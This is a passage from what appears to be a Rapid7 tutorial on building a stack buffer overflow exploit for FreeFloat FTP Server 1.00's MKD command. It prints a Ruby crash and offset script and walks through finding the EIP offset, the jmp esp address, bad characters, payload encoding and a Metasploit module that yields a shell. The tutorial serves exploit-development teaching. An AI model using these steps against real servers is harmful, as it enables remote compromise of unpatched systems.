"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B" ###### [ 3 ] # 58 # 56 # 5a #buf = "X" * 247 + "V" * 4 + "Z" * 749 # EIP should get overwritten by exactly 4 V's or 56:56:56:56 begin s = TCPSocket.new('10.2.17.137',21) print "<< "+s.recv(10000) s.puts("USER admin\r\n") print "<< "+s.recv(10000) s.puts("PASS admin\r\n") print "<< "+s.recv(10000) s.puts("MKD #{buf}\r\n") s.close # Here Maybe don't crash the program. ##################################################### so = TCPSocket.new('10.2.17.137',21) # Connect again, sleep(1) so.close # Now Crash ##################################################### rescue print "[-]Error: #{$!}\n" exit(-1) end Figure 8: Run the isolate.rb script to verify which bytes overwrite "the stack including the RETN address. Run the above script Figure 9: Ran the isolate.rb script to crash the application. Now return to Immunity Debugger and glance at the output of ESP and EIP. Figure 10: You have overwritten the stack including the RETN address. You have successfully overwriten the stack including the RETN address. That means that you know have execution flow of the program. The next important task is to control the execution flow by knowing which exact 4 bytes overwrite EIP. Davehttps://twitter.com/daveaitelAitel, (CEO Immunity, Inc.), comments on bad characters, and calculating shellcode early in the process. " You need your bad-bytes check and size check first, What if the 4 in "247" is a bad byte, you have no way of knowing ahead of time unless you test for it. " In our unique situation, our padding buffer size is 247 bytes, the EIP overwrite is the immediate 4 bytes after the 247th byte. Dave is simply making the case that it may be possible that your padding buffer might contain bad characters. Step 6. Uncover Bad Characters and calculate shellcode space. See step 12 for details on how to test for bad characters. You can see from the picture below that we have massive space for our shellcode. You can also see the end of the 247 byte junk data, the 4 "VVVV" bytes that overwrite EIP, and the beginning our huge shellcode space. Figure 16: Immunity registers, & memory at time of crash. End of the 247 byte misc junk (XXXXXXXXXXXX), 4 byte (VVVV) EIP overwrite, and the start of our wonderful shellcode space (ZZZZZZZZZZZZ). Now we get to the details (the devil is in the details). We have to make a note of the start and end of the ESP memory address within Immunity Debugger. Lets quickly do that now. Figure 17. Glorious shellcode space. Figure 18. ESP start address. ![](/content/images/post-images/9670/Screen%20Shot%202012-06-28 at 11.02.04%20PM.png) Figure 19. ESP end address. Step 7. Confirm shellcode space by subtracting the end ESP address from the start ESP address Wei "sinn3r" Chen, Exploit Engineer and Juan Vazquez, Exploit Developer on the Metasploit Team, explain why the end address is technically not 0x00AFFF04 as shown in Figure 19. " _0x00AFFF04_only indicates the begging of that row, not down to the last byte of it.  So the end address should be 0x00AFFF04 7. " The exploit still works, however these corrections have not been made so the readers can learn about them, and remember this important lesson. Now we can quickly calculate the shellcode space more accurately. The most important part here is to subtract the ESP end address from the ESP start address. See the figures below for details. AFFF04 AFFC24 - That equals to: Figure 20. Calculating shellcode space by subtracting the end address from the start address. Now convert the 2E0 value to a decimal. Figure 21. The result indicates that we have 736 bytes for our shellcode space. We have verified that we have 736 bytes of shellcode space. That is plenty space for almost all payloads. Wei "sinn3r" Chen, Exploit Engineer and Juan Vazquez, Exploit Developer on the Metasploit Team, comment on the use of pattern_create.rb, " To us exploit devs, using pattern_create.rb is almost not needed, because you can just use the pattern_create() function in your module.  This is really the same thing as pattern_create.rb_. "_ Step 8. Determine stack overwrite including the RETN address with pattern analysis. Restart the FTP server, and re-attach it to Immunity. Also comment out line 17 in isolate.rb, and uncomment line 22 to begin the pattern analysis buffer string validation. The unique string was generated via metasploits pattern_create.rb script (this can also be done via mona.py (mona.py revolutionized the game). #!/usr/bin/env ruby # #More informations about the flaw can be found here http://net-fuzzer.blogspot.com/2011/07/freefloat-ftp-server-multiples-buffer.html. # #What i do? #Only a script, to demonstrate the crash in FreeFloatFtpServer 1.00. # #Note: #After sending the very long MKD command, close the socket connection, then open another socket on the server, #wait a second using "sleep(1)" and close the connection. #For the program to crash it is necessary to connect again. # require 'socket' ###### [ 1 ] #buf = "X" * 1000 # original qk_fuzz.rb buffer ESP should be overwritten by 58:58:58:58 ###### [ 2 ] # Pattern analysis by sending unique string to identify which 4 bytes overwrite EIP ! buf = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B" ###### [ 3 ] # 58 # 56 # 5a #buf = "X" * 247 + "V" * 4 + "Z" * 749 # EIP should get overwritten by exactly 4 V's or 56:56:56:56 begin s = TCPSocket.new('10.2.17.137',21) print "<< "+s.recv(10000) s.puts("USER admin\r\n") print "<< "+s.recv(10000) s.puts("PASS admin\r\n") print "<< "+s.recv(10000) s.puts("MKD #{buf}\r\n") s.close # Here Maybe don't crash the program. ##################################################### so = TCPSocket.new('10.2.17.137',21) # Connect again, sleep(1) so.close # Now Crash ##################################################### rescue print "[-]Error: #{$!}\n" exit(-1) end Figure 11: Prepped the isolate.rb script per the above instructions. Figure 12: isolate.rb was executed to determine magic 4 bytes that overwrite EIP. You can know see that the stack including the RETN address was overwritten by a truly unique buffer string. This allows us to determine which exact 4 bytes overwrote EIP by using Metasploit and how much payload space we have by examining Immunity CPU registers and memory at time of crash. Figure 13: Confirmed stack including the RETN address overwrite by a unique string. The *Important note to take away from this that you have to remember the four bytes that caused the EIP overwrite. In this case the four bytes are EIP = 69413269. Figure 14: The magic four bytes that overwrote EIP. Armed with this information we navigate to the Metasploit tools directory and execute the pattern_offset.rb script as shown below. Figure 15: Determined the offset for the four bytes via pattern_offset.rb | EIP = 247. According to Wei "sinn3r" Chen, Exploit Engineer and Juan Vazquez, Exploit Developer on the Metasploit Team, _" Using the jmp esp address from kernel32.dll _is a bad habit, it's something that we keep trying to remind contributors to avoid doing. This is due to the fact that most system DLLs change way too often due to patch levels, or by other Microsoft software such as Office.  Very hard to use in a practical situation, so we pretty much consider them as unreliable. " Wei "sinn3r" Chen, Exploit Engineer and Juan Vazquez, Exploit Developer on the Metasploit Team, also commented on claiming your exploit as universal. " Regarding using "jmp addr from a core.dll. Ideally you want to find an address from the application, so if core.dll comes from the FreeFloat, that would be a choice. However, calling a module "universal" is a big claim. I have seen a lot of people make that mistake saying their exploit is "universal", but when I go through the QA phase with it, the exploit starts to fail. Here are the common causes: The most common reason is probably because they didn't realize the DLL could rebase. For example, often you will see an ActiveX control being loaded at 0x10000000, they usually rebase when you load more. The second common is probably due to the lack of understanding of the vulnerability.  For example, say you're exploiting the way a vulnerable sever constructs its debugging string when you send a request, like this:  n = sprintf(buffer, IP: %s requests: %s, client, req). Sometimes an inexperienced developer may only know he's overflowing the server with a long request, but he doesn't realize the length of his IP also affects the offset in the buffer.  So maybe the exploit will work all the time in his test environment because his IP is always the same, but obviously this type of exploit will suck if you actually try to deploy it against a real target. Sometimes the stack can also be constructed differently due to some race condition, or some API is different than the other, causing the offset to be different. As you can see, even a simple question like "Can my exploit be reliable if I use an application DLL?" can give you a long answer like that.  And that, my friend, is why exploit development is an art.  I remember this one time our dev James Lee (egypt) said in a presentation: "Writing an exploit is never easy. Pretty much every step you do, it's like the vulnerable application wants you to fail".... I cannot agree more. " Step 9. Gather jmp esp address. This is one of thee most critical steps in the exploit dev process. Not having the right jmp esp address will make your exploit fail. Also having bad characters in your shellcode will render great shellcode useless. Fire up the FTP Server>Open Immunity>Attach the FTP service>click on the show modules icon or press (Alt E), and select the kernel32.dll module. Figure 22. kernel32.dll loaded module. ![](/content/images/post-images/9670/Screen%20Shot%202012-06-29 at 12.51.33%20AM.png) Figure 23. RIght click in the results window and select the following jmp esp command search. Figure 24. Search for the jmp esp command. Figure 25. JMP ESP will be displayed at the top in red. Figure 26. With this information we update our PoC.rb script. Figure 27. Update our PoC.rb script. The important item to note here is that we input the enter the jmp esp address as little endian architecture (the order in which the bytes are stored in memory). Figure 28. Little endian architecture. Step 10. Develop Proof of concept exploit (PoC.rb). For this step it is important to comment out line 20 in isolate.rb, and uncomment line 24. Details shown below. Figure 29: Prepping isolate.rb for our PoC exploit. Figure 30: Our new buffer string. After the execution of our modified isolate.rb script EIP should be overwritten by exactly 4 V's or 56:56:56:56. Figure 31: EIP was overwritten by 56565656. Figure 32: You now control the execution flow of this program! We are now ready to execute our PoC.rb exploit to deploy calc as a proof of concept. Remember that all crashes dont always lead to a compromise as detailed in this buffer overflow exploit. Figure 33: Pop calc.exe on victim computer as proof-of-concept! Figure 34: Execute poc.rb to pop calc on victim. Figure 35: Calc on victim. Step 11. Weaponize PoC with shellcode (weaponize.rb). Important information to take away from here is: I used the x86/alpha_upper payload (see advise from sinn3r & Juan below). EXITFUNC="process" // SEH will crash and 'process' will kill the process msfencode -e x86/alpha_upper -s 700 // -s keeps the payload under 700 bytes Wei "sinn3r" Chen, Exploit Engineer and Juan Vazquez, Exploit Developer on the Metasploit Team, comment on the use of the x86/alpha_upper payload. " You only have a few badchars, so there's seems to be no point of using an alpha_upper payload... it actually makes the payload bigger than it should be. " sinn3r and Juan Vazquez elaborate on BadCharacters. " Again, PoCs are not meant to be reliable, and you should never trust a badchar set coming from a PoC.  The author could have been just lazy, threw a few badchars enough to make the exploit work... often not enough when you choose a different payload.  You should ALWAYS do your badchar analysis. " Step 12. Exploit QA process and re-confirm BadChars (weaponize.rb). We are almost done, good job hanging in there. Now on to one of the most fun/tedious aspects of exploit dev. This step is needed to ensure finesse and reliability when submitting your exploits. We have to confirm our shellcode lands/exits gracefully onto the stack via our NOP slide like a panther swooping down to capture its prey in pitch darkness. That's what separates a true craftsman from the rest of the pack; its the QA process the developer implements on the exploits. This is the most critical steps because it will make or break your exploits. If it were compared to U.S Navy SEAL training, it would be considered Hell week. Dealing with, manually uncovering, and testing for bad characters Metasploit/WritingWindowsExploit - Wikibooks, open books for an open world Security Basics: RE: Finding Bad Characters in Exploit Research? insidetrust.com: Using Backtrack to spot and fix bad characters in custom buffer-overflow development From the insidetrust [3.] blog post we were able to determine that "\x00", "\x0a" and "\x0d" are a safe bet to be BadChars for text based protocols. So we can confirm this and move on and execute our exploit weaponize.rb now (if this had not been the case we would have had to uncover bad characters as detailed in his Bens blog). Figure 36: For whom the shell tolls. The victim is compromised. Lets quickly turn  this exploit into a metasploit module. Step 13. Port exploit into a Metasploit module. ** ** Figure 37: Freefloat FTP server metasploit module. Figure 38: Successfully compromised the victim 192.168.134.133. Take some time and study this module. You will see that not a whole lot of information is used from everything we extracted manually. That is the beauty of the framework, code reuse & mixins!! The more important options in the module are: 'Default Options'  <= we harvested this info manually above 'Payload'            <= we harvested this info manually above 'Space' = 700      <= we harvested this info manually above "BadChars" =    "\x00\x0a\x0d" <= we harvested this info manually above 'Platform' 'Targets' 'Ret' address = kernel32.dll <= we harvested this info manually above 'Offset' = 247    <= we harvested this info manually above References: Original exploit developer: C4SS``!``0 G0M3S [FreeFloat FTP Server 1.00 MKD Buffer Overflow Exploit](http://www.exploit-db.com/exploits/17539/) Original metasploit module developer James Fitts: Freefloat FTP Server MKD Buffer Overflow (MSF) Javier Godinez @isomorphix for help with fuzz.rb. A Unique Examination of the Buffer Overflow Condition by Terry Bruce Gillette Application Security and Vulnerability Analysis - Reverse Engineering Buffer Overflow stack layout Stack Buffer Overflow Cultdeadcow Metasploit/WritingWindowsExploit - Wikibooks, open books for an open world http://www.amazon.com/Metasploit-The-Penetration-Testers-Guide/dp/159327288X Exploitation - The Penetration Testing Execution Standard http://code.google.com/p/it-sec-catalog/wiki/Exploitation https://www.corelan.be/index.php/category/security/exploit-writing-tutorials/ Past, Present, Future of Windows Exploitation | Abysssec Security Research Making Something Go Boom - Metasploit Unleashed Fuzzing with Metasploit : Simple FTP fuzzer | Corelan Team http://www.blackhat.com/presentations/bh-usa-09/TRACY/BHUSA09-Tracy-RubyPenteste rs-PAPER.pdf

Featured Research

National Exposure Index 2017

The National Exposure Index is an exploration of data derived from Project Sonar, Rapid7's security research project that gains insights into global exposure to common vulnerabilities through internet-wide surveys.

Learn More

Toolkit

Make Your SIEM Project a Success with Rapid7

In this toolkit, get access to Gartner's report “Overcoming Common Causes for SIEM Solution Deployment Failures,” which details why organizations are struggling to unify their data and find answers from it. Also get the Rapid7 companion guide with helpful recommendations on approaching your SIEM needs.

Download Now

Podcast

Security Nation

Security Nation is a podcast dedicated to covering all things infosec – from what's making headlines to practical tips for organizations looking to improve their own security programs. Host Kyle Flaherty has been knee–deep in the security sector for nearly two decades. At Rapid7 he leads a solutions-focused team with the mission of helping security professionals do their jobs.

Listen Now